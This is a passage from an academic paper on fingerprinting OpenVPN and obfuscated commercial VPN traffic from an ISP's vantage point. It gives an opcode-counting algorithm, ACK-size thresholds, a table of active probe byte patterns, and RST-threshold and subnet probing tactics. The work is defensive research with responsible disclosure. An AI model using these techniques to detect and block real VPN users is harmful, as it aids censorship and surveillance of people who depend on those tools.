cation strategies and to adapt them as the threats posed by
adversaries continue to evolve.

2 Background & Related Work

VPN tools create private networks across the public Internet
through encrypted tunneling. Although many VPN protocols
are being used, such as IPSec and WireGuard, OpenVPN
remains the most supported and trusted protocol among com-
mercial VPN providers [6]. Due to its versatility and open-
source nature, OpenVPN has been used as the underlying
protocol in numerous VPN products, which often advertise
the protocol for its proven security [66]. In addition, Open-
VPN’s popularity continues to rise with the trend of users
choosing to self-host open-source VPN tools [65].

OpenVPN Protocol. OpenVPN was first released in 2002
with the aim of creating a tunneling protocol focusing on
security, while also being free and fast over the standard TCP
and UDP [34]. When the OpenVPN tunnel is active, raw IP
packets being sent to or from the tunnel to the final destination
are encapsulated inside OpenVPN packets. To achieve secure
communication, OpenVPN leverages the OpenSSL library
as its cryptographic layer. Two methods for authentication
and key exchange are provided to establish trust with peers:
either pre-shared static key(s) or TLS-based negotiations. The
latter has been adopted by the majority of commercial VPN
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services. Two separate channels are used for key exchange
and data transfer, both sharing a single multiplexed TCP/UDP
stream. In the control channel, the client and server engage in
a TLS-style exchange of key materials. As TLS is designed
to operate over a reliable transport, OpenVPN provides its
control channel with a sequential, reliable layer based on an
explicit acknowledgement and re-transmission mechanism.
The negotiated key from the control channel will be used to
encrypt packets transferred in the data channel, which does
not provide any reliability guarantee. Figure 1 presents a
typical initialization sequence of OpenVPN packets leading
to a fully encrypted data channel.

Tor, Proxy, and VPN Detection. The ongoing arms-race
between the GFW and Tor has been extensively studied and
is most representative of the conflict between censorship &
surveillance and circumvention tools [9, 11, 12, 55, 56, 71].
Censors started by blocking Tor’s website and public relays,
which Tor responded to by deploying website mirrors and pri-
vate, unpublished bridges. Next, censors moved to blocking
with DPI by fingerprinting Tor’s TLS handshake, e.g. ci-
pher suites. Tor used Pluggable Transports (PT) obfuscators,
such as Obfsproxy and meek [39], to mask the handshake.
In response, censors deployed active probing to complement
DPI-based fingerprinting to detect Tor and certain obfuscators.

There is limited previous work focusing on VPN traffic
detection. Hoogstraaten [19] explored server-side VPN de-
tection methods, ranging from using existing information
databases (e.g. WHOIS, rDNS) to fingerprinting TCP options
(e.g. advertised MSS). Webb et al. [70] proposed detect-
ing proxies and VPNs based on traffic timing and latency.
Their approach relied on the hypothesis that when a service
is accessed through a proxy, the RTT measurement will be
different from the RTT of a direct connection. Another class
of previous work uses computational and machine learning
models to passively detect VPN traffic [3,14,15,17,24,26,68],
leveraging flow-level statistics such as connection duration
and packet interval. Most of this work uses the same synthetic
ISCXVPN2016 dataset [17]—which contains a balanced mix-
ture of VPN and non-VPN traffic—to train and test a variety
of machine learning and neural network classifiers in an of-
fline, lab-setting. In contrast, our work primarily focuses on
whether ISP-level adversaries can identify OpenVPN flows
in near real time, and whether they can do so at scale, un-
der practical constraints, and with minimal collateral damage.
For this reason, we omit a full analysis of ML-based work,
and only compare them with our approach in terms of false
positives (falsely blocking legitimate traffic).

Obfuscated (Open)VPN. Various traffic obfuscation tech-
niques have been examined in previous work. Wang et al.
examined the detectability of Obfsproxy, FTE, and meek [67].
Using attacks based on protocol semantics, packet entropy,
and timing-related features, they concluded that a deter-
mined censor could detect all three obfuscators reliably.

Houmansadr et al. demonstrated that popular mimicry-based
obfuscation tools failed to achieve unobservability because
seamlessly simulating another protocol is extremely challeng-
ing [20]. Previous studies have suggested censors can use
active probing to detect proxies that obfuscate traffic [1,11,71].
In response, “probe-resistant” proxies were developed, which
remain silent when being probed by an unauthenticated adver-
sary. However, researchers have demonstrated that carefully
designed probes could still identify these proxies [13].

There is a marked demand for an emerging class of services
called “stealth” or “obfuscated” VPN, especially from users
in countries with heavy censorship or laws against personal
VPN usage [60, 63]. Most obfuscated VPN services use
OpenVPN as the underlying protocol for security and routing,
with an obfuscation layer overlaid to avoid detection [2, 66] 1.
OpenVPN’s core developers prefer that obfuscation remains a
separate project operating alongside the vanilla/core protocol,
as they “do not want to play the cat-and-mouse game [as
Tor]” [35]. The absence of a standardized obfuscation solu-
tion has led to a plethora of obfuscators implemented by dif-
ferent VPN providers, who often claim that their obfuscated
services can remain undetected by ISPs and censors alike.
For example, TorGuard introduces their obfuscated VPN
service as “Engineered from the ground up to be impossible
to detect” [54]. BolehVPN claims that their VPN obfuscation
“. . .keeps you out of trouble, even in China” [5]. Common
obfuscation strategies adopted by commercial VPNs include
employing XOR-based scramblers, wrapping OpenVPN
inside encrypted tunnels, or using proprietary protocols.

OpenVPN XOR Patch: Originally developed by Clayface
as a patch for vanilla OpenVPN, the XOR patch scrambles a
packet by either xor-ing bytes with a pre-shared key, reversing
the order of the bytes, xor-ing each byte with its position, or
a combination of these steps [36]. Notably, OpenVPN devel-
opers discourage its use due to the lack of code audit [57].

OpenVPN over Encrypted Tunnels: Some VPN services
wrap OpenVPN traffic inside encrypted tunnels to prevent
DPI fingerprinting. Some of the adopted obfuscation tunnels
are Obfsproxy (obfs{2/3/4}), Stunnel, Websocket Tunnel, and
encrypted proxies (shadowsocks, V2Ray).

Proprietary Protocols: A few VPN providers have devel-
oped proprietary obfuscated protocols, some of which are
built on top of OpenVPN with a proprietary obfuscation layer
added, such as VyprVPN or Astrill [2, 66].

To the best of our knowledge, we are the first to explore the
fingerprintability of commercial and/or obfuscated OpenVPN
services on real traffic. Our unique study highlights the prac-
ticality of such fingerprinting, which has profound real-world
security implications on end-users expecting certain privacy
and anonymity guarantees from using these services.

1There are discussions on obfuscating WireGuard [72, 73], but to the best
of our knowledge, they have yet to be deployed by any commercial VPNs
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Figure 2: Framework Deployment on Merit Steps: (1) Client connects to VPN servers. (2) VPN connections, along with passing traffic, are
being mirrored to the Filter. (3) Filter forwards server IP of suspected connections to the probing system. (4) Targets are sent to each dedicated
Probers. (5) Probers send probes asynchronously. (6) Connections confirmed by probing are logged.

3 Challenges in Real-world VPN Detection

Effective investigation of fingerprintability requires in-
corporating perspectives of how ISPs and censors oper-
ate in practice. It is not enough to simply identify finger-
printing vulnerabilities, we need to demonstrate realistic ex-
ploits to illustrate the practicality of exploiting the vulnera-
bility, while taking into consideration the ISP and censors’
capabilities and constraints [56]. For instance, previous aca-
demic works considered using flow-level features to train ML
classifiers for VPN detection [3, 14, 17, 24, 26, 68]. Yet, it
remains unclear how practical these detection approaches are
for ISPs and censors, and we know of no rigorous studies
that examine real-world deployment of an ML-based censor-
ship system [56]. Furthermore, previous works test on the
ISCXVPN2016 dataset [17] with balanced OpenVPN and non-
VPN traffic. However, we note that due to the low base rate of
VPN traffic in the wild, even the best-performing ML system
has false positive rates that can be economically impractical
for real-world censors sensitive to collateral damage [67].

However, investigations adopting the viewpoint of ISPs
and censors can be challenging. First, such investigation
requires collaboration with real-world ISPs and access to
their network traffic. We need to install monitors inside an
ISP’s network, while ensuring our analysis will not affect
ISP’s normal routing operations. Furthermore, analyzing
traffic from real users raises ethical concerns. Processing raw
network data may violate the privacy of users, in particular
VPN users who often have a heightened threat model. Finally,
deploying a system that performs ad-hoc traffic analysis in
real time poses significant engineering challenges. We need
to ensure the entire analysis framework (including processing
and logging) keeps pace with the packet arrival rate and take
into consideration the effect of potential asymmetric routing
or packet loss on the analysis and results.

4 Adversary Model and Deployment

We assume a realistic censor (ISP) capability model based
on knowledge from previous measurement studies on the
arms race between censors and circumventors [1, 11, 56, 71].
We outline a censor-controlled on-path filter that passively
observes and examines passing network traffic. The filter is
stateful, but has limited resources and can maintain a limited
amount of per-connection states for a short time. The filter is
also constrained by long-term data storage and computational
resources. In addition to filters installed inside the monitored
networks, we assume the censor also operates measurement
machines that can send protocol-specific probes to further
confirm the detection result. Such two-phase systems have
already been adopted by real-world censors such as the GFW
against Tor and Shadowsocks [1, 71]. Finally, we expect the
censor is familiar with the protocol of interest and has access
to the different obfuscators deployed by VPN providers (e.g.,
as a paid customer). We emphasize that this threat model
corresponds to censor’s capabilities as observed in practice
today, rather than future capabilities.

To investigate the fingerprintability of OpenVPN and
existing obfuscated solutions, we set up a two-phase
detection framework in order to answer our key questions:
1) whether real-world censors are capable of performing
such detection, and 2) whether it is economical to do this
at scale. Figure 2 shows an overview of our framework
deployment. Partnering with Merit, we instantiate a Filter
on a Monitoring Station overseeing mirrored traffic from
a router that handles 20% of the ISP’s traffic. The Filter
performs passive fingerprinting over raw packets, exploiting
traffic features unique to OpenVPN. IP and port information
of flows flagged by the Filter are forwarded to a probing
system and then distributed to dedicated Probers. The
Probers send a set of pre-defined probes specifically designed
to fingerprint an OpenVPN server. Finally, probed servers
that are confirmed as OpenVPN are logged for manual
analysis. Such a two-phase framework resembles how
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real-world censors operate: lightweight filtering followed up
by more expensive, but also more accurate, active probing.
This framework is capable of processing massive traffic in
real-time while also preventing excessive collateral damage.

5 Ethics, Privacy, and Responsible Disclosure

Raw network traffic that contains real users’ data is highly sen-
sitive, and this is especially true for traffic related to privacy-
oriented services such as VPNs. Here we describe how we
consider the security and privacy risks and ethical issues
raised by our work, and we detail the procedural and technical
steps we take to mitigate the risks.

Foremost among the ethical concerns associated with this
work is our Filter deployment inside Merit’s network to ana-
lyze user traffic. Merit, which has extensive previous expe-
rience collaborating with universities and has well-defined
ethics and privacy rules to govern such projects, supervised
the deployment. We also cleared our research plan with our
university legal counsel and IRB. Although the IRB deter-
mined that the work is not regulated, we take extensive mea-
sures to minimize potential risks for end-users.

Our framework is fine-tuned on both real and lab-generated
traffic data, and it is evaluated on live ISP traffic. For con-
trolled fine-tuning, a small traffic snapshot (the ISP Dataset
in section 7) was used to calibrate parameters, e.g., the size
of observation window. The traffic snapshot, sampling 1/30
of all flows for 45 minutes on July 28, 2021, was generated
and analyzed entirely on Merit systems, with security mecha-
nisms limiting access to select members of the team. As with
the design described in Section 6, Filter analyzed only the
first payload byte, completely ignoring the remainder of the
payload, and it recorded only the observed degree of variation.
The raw snapshot was never inspected by humans and was
deleted after the fine-tuning concluded.

For deployment and evaluation on live ISP traffic, the Fil-
ter architecture is designed to minimize risks of disrupting
or modifying user traffic. The Monitoring Station only re-
ceives a copy of the traffic, so even if our software were to
malfunction, network service would be unaffected. In ad-
dition, to reduce privacy risks, the Filter collects only the
minimum information necessary for the subsequent probing
operation. It records only the server IP addresses and ports
of matching connections, which are bucketed into 5-minute
internals to inhibit time correlation. These logs are stored
and analyzed on a server that is securely maintained by Merit
and is accessible only to a few members of our research team
on a least-privilege basis. Merit reviewed our source code
prior to deploying it on their network. During deployment
and evaluation, no packet payloads or client IP addresses are
ever recorded to disk or inspected by humans.

Based on the Filter log, the Probers send probes to candi-
date VPN servers. To minimize the risk of disrupting server
operations, we design the probes to be non-invasive and make

Figure 3: OpenVPN Header in TCP and UDP modes. (TLS only)

information available to assist operators in debugging any
problems we inadvertently cause. Each server receives only 2–
10 innocuous connection attempts, similar to those commonly
used in Internet measurement tools like Nmap. The probes
originate from two dedicated machines that we provisioned
with web pages that explain the nature of the experiment and
provide our contact information. We did not receive any in-
quiries, complaints, or problem reports. Since the server IP
addresses themselves may sometimes be non-public, we only
report aggregate statistics (e.g., the false positive rate) and
will not publish any of the addresses that we collect. Any data
requests will be referred to Merit.

As with all attack-oriented research, there is a risk that
our work developing VPN fingerprinting techniques will be
adopted by real attackers. To minimize this risk, we are in
the process of responsibly disclosing our findings to the VPN
operators whose obfuscated servers we successfully identi-
fied in our evaluation. We believe that the security of the
VPN ecosystem is best advanced by having these problems
surfaced by responsible researchers. Our work will help ac-
curately inform users about the VPN services they rely on,
and we hope it will enable more robust countermeasures to
be developed and deployed.

6 Identifying Fingerprintable Features

In this section, we identify three features that fingerprint
OpenVPN, exploiting byte pattern, packet length, and server
behaviors, respectively.

6.1 Opcode-based Fingerprinting

As shown in Figure 3, each OpenVPN packet has a header
of 24 bits in TCP mode or 8 bits in UDP mode, which is not
part of the encrypted payload. Each OpenVPN header starts
with an opcode that specifies the message type of the current
packet and a key ID that refers to a (new) TLS session. The
opcode field can take over 10 defined values, corresponding
to message types transmitted during different communication
stages. A typical OpenVPN session starts with the client send-
ing a Client Reset packet. The server then responds with a
Server Reset packet, and a TLS handshake follows. Open-
VPN packets that carry TLS ciphertexts have P_Control as
their message type. Since OpenVPN can run over UDP but
has to provide a reliable channel for TLS, each P_Control
packet is explicitly acknowledged by P_ACK packets. Finally,
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Algorithm 1 Opcode Fingerprinting Logic

Require: N ≥ 0
OCSet←{}, CR← Opcode[0], SR← Opcode[1]
i← 2
while i 6= N & i < |Opcode| do

if Opcode[i] ∈CR,SR & |OCSet | ≥ 4 then
Return False

end if
OCSet += Opcode[i]
i← i+1

end while
Return i == N & 4≤ |OCSet | ≤ 10
#At least 4 different Opcodes needed to complete hand-
shake. In total 10 Opcodes defined by the protocol.

Figure 4: XOR-Patch that leaves first byte un-reversed

actual payloads are transmitted as P_Data packets. Figure 1
illustrates this packet exchange with opcode annotations.

A packet field taking a fixed number of values can be easy
to fingerprint and has been exploited before against other pro-
tocols [1]. We fingerprint OpenVPN’s handshake sequence
by analyzing each opcode byte for the first N packets of a
flow (the threshold N is explored in Section 7.2). Algorithm 1
shows the process of opcode fingerprinting, with Opcode re-
ferring to the sequence of N opcode values found in the first
N packets of a given flow. Briefly, the filter flags a flow if
the number of different opcodes observed accords with the
protocol and the Client and Server Resets are not seen
once the handshake is completed.

Previous work and existing open-source DPIs [23, 29, 37,
75] considered statically matching opcode values and packet
sizes based on the protocol specification. In contrast, we pro-
pose to dynamically capture the variation in opcode values
that reflects the establishment of OpenVPN sessions. Notably,
our heuristics do not require exact matching of opcode values
or packet length (e.g., do not require the third byte of the
first packet to be 0x38), thereby ensuring it works effectively
against XOR-obfuscated flows. The XOR obfuscation masks
packet payloads to ensure that the opcode bytes are altered.
Notably, according to the specification [36], when it reverses
the packet as one of the obfuscation steps, it excludes the
first character of the buffer (where the opcode byte is located)
from reversal, as shown in Figure 4. As such, the opcode byte
is always XOR-ed with the same byte of the XOR key, and
the same opcodes would be mapped to the same value after
obfuscation. This behavior is preserved when Tunnelblick (a

popular OpenVPN client on macOS) adopts the patch [57],
and has been used in multiple mobile apps [76]. By consid-
ering only the number of unique opcodes seen so far, our
heuristics are more flexible and target various XOR-based
obfuscations of OpenVPN.

6.2 ACK-based Fingerprinting

OpenVPN engages in a TLS-style handshake with its peer
over the control channel. Since TLS is designed to oper-
ate over a reliable layer, OpenVPN implements an explicit
acknowledgement and re-transmission mechanism for its
control channel messages [30]. Specifically, incoming P_-
Control packets are acknowledged by P_ACK packets, which
do not carry any TLS payloads and are uniform in size (Note
these ACK packets are carried over by TCP as payload and
are not the same as TCP ACK flags). Moreover, these ACK
packets are seen mostly only in the early stage of a flow, dur-
ing the handshake phase, and are not used in the actual data
transfer channel, which can run over an unreliable layer.

To our knowledge, we are the first to devise fingerprinting
attempts based on the distinct protocol-layer ACKs against
OpenVPN. Previously, the unique timing pattern in meek’s
TCP-level ACK traffic has rendered the obfuscation tool vul-
nerable to detection [67]. For OpenVPN, the presence of
explicit ACK packets, uniform in size and only seen in some
parts of a session, provides another fingerprintable feature.
Specifically, we first identify a likely ACK packet of a ses-
sion by locating an initial packet exchange sequence of C-
>S (Client-Reset), S->C (Server-Reset), C->S (ACK), C->S
(Control), as illustrated in Figure 1. For vanilla OpenVPN
and XOR-based obfuscation, the first ACK packet usually
appears as the third (data) packet transmitted in a session. For
tunnels or obfuscators that have their own handshake or key
exchange process (e.g., Stunnel, SSH tunnel, or Obfsproxy),
this counting is offset by the number of tunnel handshake
packets. Next, we group packets into 10-packet bins, and
we derive the ACK fingerprint for each flow by counting the
number of packets in each bin that have the same size as the
identified ACK packet. For OpenVPN flows, we expect to
observe a high number of ACK packets in early bins and an
absence of them in later bins. (Later in the session, Control
and ACK packets can be exchanged again to transfer random
key materials, but it is not expected to be observed within our
observation window N.) This approach proves effective to
fingerprint vanilla OpenVPN as well as obfuscated services
running over encrypted tunnels that lack random padding. We
quantify exact fingerprinting thresholds in Section 7.1.

6.3 Active Server Fingerprinting

We explore the feasibility of identifying an OpenVPN server
through active probing. Typically, OpenVPN servers respond
to a client reset with an explicit server reset, thereby giving
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Figure 5: OpenVPN TCP new packet processing routines

away their identity. However, most commercial providers now
have adopted tls-auth or tls-crypt options [50]. These options
add an additional HMAC signature—signed by a pre-shared
key—to every control channel packet for integrity verification,
including the initial reset packets. With either of these options
enabled, an OpenVPN server would not respond to an unau-
thenticated client reset with a server reset, but would instead
drop such packets without further processing. The presence
of such HMAC mechanism increases the complexity of do-
ing active probing: it effectively makes OpenVPN servers
“probe-resistant” [13] by remaining silent when probed by an
unauthenticated client.

In fact, similar HMAC mechanisms are used by more pop-
ular “probe-resistant” proxies, such as obfs4 [33]. However,
unlike obfs4 which waits for a server-specific random delay
before dropping an unauthenticated connection, OpenVPN
always immediately closes the connection if a valid HMAC
cannot be located. We design our probes to leverage this
protocol-specific behavior, and as a result, we manage to
fingerprint OpenVPN servers even if they do not respond
throughout our probing cycles. The key concept is that al-
though the application may not respond to probing, an attacker
may still be able to fingerprint application-specific thresholds
at the TCP level, such as timeouts or RST thresholds, as
demonstrated by Frolov et al. [13].

We use two datasets in this section to help with design-
ing probes. ZMap Set: to construct a realistic non-VPN
endpoints dataset, we use ZMap to scan each of the 65,535
TCP ports over the entire IPv4 space, limiting results for each
port to 200 endpoints (with the specific port open), result-
ing in over 13 million endpoints. Censys Set: We query the
Censys.io [10] database for hosts with TCP port 1194/Open-
VPN open. Next, we probe each endpoint with a typical
OpenVPN Client Reset and group endpoints that respond
with explicit Server Resets. This results in 180,858 hosts
known to be OpenVPN endpoints (with “tls-auth” disabled).

6.3.1 Base Probes

We design probes exploiting a behavior associated with how
OpenVPN packetizes TCP streams. When OpenVPN oper-
ates over TCP, it needs to split the continuous stream into

ProbeName Probe Content Expected Behavior

BaseProbe 1 x00x0ex38.{8}x00x00x00x00x00 Explicit ServerRe-
set or Short Close

BaseProbe 2 x00x0ex38.{8}x00x00x00x00 Long Close
TCP Generic x0dx0ax0dx0a Short Close
One Zero x00 Long Close
Two Zero x00x00 Short Close
Epmd x00x01x6e Short Close
SSH SSH-2.0-OpenSSH_8.1/r/n Short Close
HTTP-GET GET/HTTP/1.0 /r /n /r /n Short Close
TLS Typical Client Hello by Chromium Short Close
2K-Random Random 2000 Bytes Short Close & RST

Table 1: Summary of Probes and the expected behaviors from
an OpenVPN server.

discrete OpenVPN packets. Figure 5 presents a high-level ab-
straction of this process. The most relevant parts are: a buffer
is allocated in memory to reassemble fragments of OpenVPN
packets encapsulated in TCP streams. The length N for the
next OpenVPN packet is extracted from the first two bytes of
the header (see Figure 3), and the routine keeps reading N ad-
ditional bytes before it returns the reassembled packet to the
caller. This means that an OpenVPN packet will not be parsed
and checked for syntax and encryption errors until all its parts
arrive at the server. Based on this behavior, we design two
sequential probes to trigger an OpenVPN server into different
code paths—which result in different connection timeouts—
and measure the time elapsed before the server responds or
terminates the connection. As shown in Table 1, Base Probe
1 carries a typical 16-byte OpenVPN Client Reset, while
Base Probe 2 has the same payload with the last byte stripped
off. The assumption is since our two probes only differ in
one byte, most non-OpenVPN servers will respond to our
probes in a similar way. However, for an OpenVPN server
with HMAC enabled, the connection sending the first probe
will be dropped immediately because the OpenVPN packet
is reassembled and a valid HMAC cannot be located. The
second probe will not receive an immediate response, as the
server will wait for an additional byte to arrive for reassembly.
The connection will stay idle until a server specific hand-
shake timeout has passed, after which the connection will
be dropped. As such, the first probe will be dropped at the
decryption routine, while the second probe will be dropped at
the packet reassembly routine, both labeled red in Figure 5.

6.3.2 Additional Probes

The two probes, although useful, are limited and there may
be other protocols with behaviors similar to OpenVPN. After
using both to probe the ZMap Set, we still identify a handful of
services that respond similarly to OpenVPN servers, such as
Microsoft WBT Server (3389), Microsoft Message Queuing
(1801), and Erlang Port Mapper Daemon (4369).

We design additional probes based on the fact that Open-
VPN validates packet length and will drop connections send-
ing invalid length without waiting for the next packet to be
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Figure 6: RST thresholds for OpenVPN and random endpoints.

reassembled. Here, packet length refers to the length declared
by the first two bytes of an OpenVPN header (see Figure 3),
rather than the TCP packet length. A “valid” length is in
the range of [1, max_len], where max_len is derived from
the server’s MTU configurations. For instance, default TUN
MTU of 1500 bytes, combined with overheads (crypto IV,
packet length, etc.), results in a max_len of 1627 bytes. In
this case, probes whose first two bytes have a decimal value
greater than 1627 (0x06,0x5B) will be dropped immediately.

We also design probes leveraging the way a Linux server
closes a TCP connection. When a TCP connection terminates,
the operating systems at both ends typically complete a FIN
4-way handshake. However, previous work has found that
if a connection is closed with unread bytes in buffer, Linux
will send a RST packet [13]. A server’s “RST Threshold” is
defined as the minimum number of bytes needed to send to
the server to trigger a RST. We determine the RST threshold
distribution for both ZMap Set and Censys Set. As shown in
Figure 6, the vast majority of OpenVPN servers have a RST
threshold around 1550-1660 bytes, corresponding to buffers
allocated with typical MTU configurations. In contrast, over
97% of random ZMap endpoints have a RST threshold less
than 500 or greater than 4000. We therefore construct an
additional probe with 2,000 random bytes, which we expect
over 98% of legitimate OpenVPN servers and less than 3%
of random servers to respond to with RST packets.

Complication from Port Sharing OpenVPN provides na-
tive support for another application to share the same port.
This is accomplished by checking whether the first incoming
packet has a valid OpenVPN-conforming length field. If not,
the OpenVPN server will forward the packet to the other ser-
vice sharing the port. This means that most of our additional
probes will be forwarded to and responded by the other appli-
cation due to invalid packet length. To account for this, we
observe that when an OpenVPN shares a port, it is usually
shared with a HTTP, TLS, or SSH service. Thus, we send
probes targeting these three protocols after our base probes,
and we stop further probing if we get an explicit response for
any of these probes.

It is worth noting that the majority of “typical” HTTP, TLS,
and SSH servers have already been filtered out by our base
probes, so endpoints that respond at this stage are likely shar-
ing the port with another service, thus warranting manual
analysis (e.g., checking TLS certificate). While these three
services are what we commonly observed, there may be in-
stances where other services are running along with Open-
VPN. This could lead to false negatives.

Table 1 lists all probes and the expected behaviors from
an OpenVPN server. An evaluation process is shown in Ap-
pendix Figure 11.

6.4 Constructing Filters and Probers

Our Filter performs both opcode and ACK-based fingerprint-
ing, flagging a flow if at least one fingerprint matches. This is
because the opcode and ACK fingerprints are designed to be
complementary: both are effective against vanilla OpenVPN
and they each target a specific subset of obfuscations. The
former works against XOR-based obfuscations that work like
Vigenère ciphers, i.e. they always encrypt the same plaintext
opcodes at the same position to the same ciphertext bytes.
The latter targets tunneling-based obfuscation that lacks ran-
dom padding and preserves the 1:1 correspondence between
the original and obfuscated packet streams. Combining the
two features maximizes our fingerprinting coverage, as we
discovered that even within the same provider, obfuscating
strategies can vary a lot (§ 9). Table 5 in Appendix shows the
effectiveness of each feature against each commercial VPN
service we tested. Following Filter’s result, the Prober per-
forms the active probing scheme to further lower potential
false positives.

We implement the Filter in Zeek [75], an open-source net-
work monitoring tool. We note that the evaluation processes
for opcode and ACK-based fingerprinting are quite simple:
both only require several dozen integer comparisons (limited
by the observation window) while maintaining a small num-
ber of per-flow states. We implement the Prober in Nim [31].
We believe that both components can be easily deployed by
any ISP or censor.

7 Fine-tuning for Deployment

So far, we have described features that render OpenVPN vul-
nerable to fingerprinting. We still need to quantify detection
thresholds (e.g. ACK fingerprints) for implementation. Fur-
thermore, there are metrics that can affect the system perfor-
mance, such as packet loss or observation window choice. We
seek to fine-tune our system by quantifying these parameters.

We use two datasets here. ISP Dataset: we collected a
snapshot of network traffic going through a server installed
within Merit. Over 45 minutes on July 28, 2021, we sam-
pled 1/30 of all flows passing through the server, resulting
in 461 GB of traffic that corresponds to 221,534 flows with
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Figure 7: ACK fingerprint DT from the ISP and VPN datasets.

Bin Number Threshold

1 1≤ Bin[1]≤ 3
2 2≤ Bin[2]≤ 5
For i in range [3,5] Bin[i]≤ 5
For i in range [6,N/10] Bin[i]≤ 1

Table 2: Set of thresholds for ACK Filtering.

full packet payloads. Refer to § 5 for details on how this
data was handled to limit privacy risks. VPN Dataset: we
collected traces from 20 commercial VPN providers as well
as 2 self-hosted OpenVPN services (Streisand, OpenVPN
Access Server) following the automated process described in
Section 8. Note the 20 VPN providers do not overlap with
the providers used in evaluation. For each provider, we re-
peated the trace collection process 50 times each in TCP and
UDP mode, resulting in a 7.65 GB dataset comprised of 2,200
vanilla OpenVPN traces.

7.1 ACK Fingerprint Thresholds

We quantify the exact ACK fingerprint based on the ISP and
VPN Dataset. We only include flows with at least 150 data
packets (15 bins), which leaves us with 24,069 ISP flows and
2,200 VPN flows. A classification decision tree is constructed
based on the two labeled sets with weights applied to account
for the imbalanced data size. Figure 7 shows the constructed
tree (depth and leaf limited, a complete graph can be found
in Appendix Figure 12). The ACK fingerprint is a sequence
of thresholds based on the derived decision tree, as shown in
Table 2. (Bin[i] refers to the number of ACK-size packets for
ith Bin.)

7.2 Choice of Observation Window N

Previous works attempt to identify VPN traffic only after the
flow terminates, making use of aggregated statistics such as
connection duration [17, 24, 26]. However, detecting disal-
lowed traffic only after the flow is finished may be of limited
interest to a real-world censor [4]. We therefore have two

objectives for our Filter: to reduce probing targets by being
as selective as possible, and to detect OpenVPN as soon as
possible within a flow.

Inspired by [4, 67], we consider the windowing strategy of
limiting the inspection to only the first N data packets of a
flow. We tested N from [10, 20, 30, ..... 200] on the ISP and
VPN Dataset. As shown in Figure 8 (a), the number of ISP
flows that are flagged by the Filter declines from over 62,000
to 322 as we increase the observation window. However, we
note that a window size of 100 packets has already achieved
a precision within 2% of the best performing (200 packets).

Detection Speed and Potential Impact on Blocking A
smaller window size can sever a connection at an earlier stage,
thereby reducing transfer of data to a censored endpoint, while
a more conservative windowing strategy excels at accuracy.
In our deployment, we use 100 packets as the window size
to balance detection speed and accuracy. To put this choice
into perspective, we note that the Great Firewall of China
(GFW) was previously observed to send confirmation probes
to suspected endpoints in 15-minute intervals, and it has only
recently moved to near real-time operation [11]. Recent work
on how it detects Shadowsocks shows the median delay be-
tween the beginning of a connection and probing is about a
minute, with probes being replayed for up to 47 times for con-
firmation [1]. In comparison, our deployment with a window
size of 100 packets gives a median time of 7.9 seconds for
the filter to flag an OpenVPN connection. We believe even
with this delay, our system is still useful for censors who are
interested in blocking OpenVPN connections. In addition, we
note that a motivated adversary can further optimize this delay
and speed the detection by tuning window size and probing
rate, but with some potential loss of accuracy.

7.3 Effects of Packet Loss

We investigate the effects of packet loss on the performance of
the Filter. An adversary analyzing traffic on a busy network
needs to keep pace with the packet arrival rate, or otherwise
packet drops will start to occur due to a CPU bottleneck. For
the opcode and ACK fingerprinting, we need to inspect the
raw contents of each reassembled packet until the observation
window is reached, for all flows. This means all traffic must
be passed on to Zeek’s scripting layer, which may lead to
a CPU bottleneck. In addition, the Network Interface Card
(NIC) may also become an upstream bottleneck and lead to
end-to-end packet loss. We therefore explore what to expect
from the Filter when packet loss is inevitable.

We configure Zeek to ignore events signaling new packets
with different probabilities in order to simulate random packet
loss. We test loss rates from 1% up to 80%. The experiment
is repeated three times, and the average result is reported in
Figure 8 (b). We find that packet loss starts to have noticeable
effects on the Filter’s outputs once the loss rate surpasses
10%. Notably, when packet loss starts to affect the detection
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Figure 8: Effects of (a) observation window and (b) average
packet loss rate on Filter’s performance

accuracy, both opcode and ACK fingerprint vulnerabilities
always produce underblocking instead of overblocking, which
is favoured by real-world censors [56]. Still, in order to mini-
mize the effects of packet loss, we always configure the Moni-
toring Station to sample flows with a given rate (adjusted with
CPU resources and traffic volume) for our online evaluation.

7.4 Server Churn for Asynchronous Probing

After the Filter generates a list of probing targets, the Prober
can either send probes synchronously as soon as a target
is emitted, or asynchronously, waiting for a pre-configured
interval before sending probes to targets in batches. Sending
probes synchronously has the advantage of obtaining the most
accurate results before the server IP is churned. However,
this requires the probing system to be online the whole time.
In contrast, sending probes in batches is more efficient and
easier to manage, but the server IP may be churned if the
interval between the filtering phase and the probing phase
is excessively long. We explore a probing frequency that
achieves efficiency and accounts for possible server IP churn.
To do this, we monitor the 180,858 known OpenVPN servers
from the Censys Set described in 6.3. Starting from August
2nd, 18:00 EDT, we probe the servers every 3 hours for a
week and record their responses.

As shown in Figure 9, even after a week, only 2.39% of
OpenVPN servers either are not in the listening state or have
been replaced by a different service. This suggests that the
majority of OpenVPN servers are not churned frequently. In

Figure 9: OpenVPN server churns over time.

our online evaluation, we choose to probe targets in batches
on a daily basis to balance between efficiency and potential
IP churn. Based on the result of this test, approximately 0.9%
of servers may be churned within 24 hours.

7.5 Probe UDP and Obfuscated OpenVPN Servers

The active probing scheme in the previous section primar-
ily targets vanilla OpenVPN TCP servers, as it exploits the
header length field that is unique to TCP mode that requires
packetization. In addition, it works effectively against XOR-
obfuscated servers because the length field is prefixed after
the XOR encryption is applied to an OpenVPN packet. This
construction allows us to probe XOR-obfuscated servers in
the same way as if they had no obfuscation at all.

For UDP or other obfuscated servers, our probes are no
longer effective because the length field is either not present
(UDP) or encrypted (tunnel-based obfuscation). However, a
critical observation is that most commercial VPN providers
usually offer vanilla TCP servers along with UDP and/or
obfuscated variants. This is expected as commercial VPN
providers attempt to optimize their VPN’s performance as
well as reliability, since tunnel-based obfuscation adds over-
head and UDP traffic may encounter more problems than TCP
in a firewalled network. Furthermore, the vanilla TCP service
is often co-located with the UDP or obfuscated OpenVPN ser-
vices, presumably due to lower hosting and maintenance cost.
They could be on the same host by listening on different ports,
or they could be located in adjacent IPs in the same VPN
provider subnet. In other words, probing adjacent netblocks
of a suspected UDP or obfuscated endpoint may reveal nearby
vanilla TCP servers, whose existence corroborates the Filter
results. For our Prober deployment on two dedicated mea-
surement machines, we limit our probing to the /29 subnet the
target IP belongs to over all TCP ports. This specific subnet
size is chosen primarily due to probing resources limitation,
and a more well-resourced adversary may expand the probing
to larger subnets. With only two measurement machines, the
parallelized /29 Prober is able to probe targets generated by a
Filter monitoring a 5 Gbps network interface.
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8 Real-world Deployment Setup

We set out to explore if an ISP or censor can fingerprint Open-
VPN connections at scale, without significant collateral dam-
age. Adopting the viewpoint of an adversarial ISP, we deploy
our framework inside Merit, as shown in Figure 2. Our evalu-
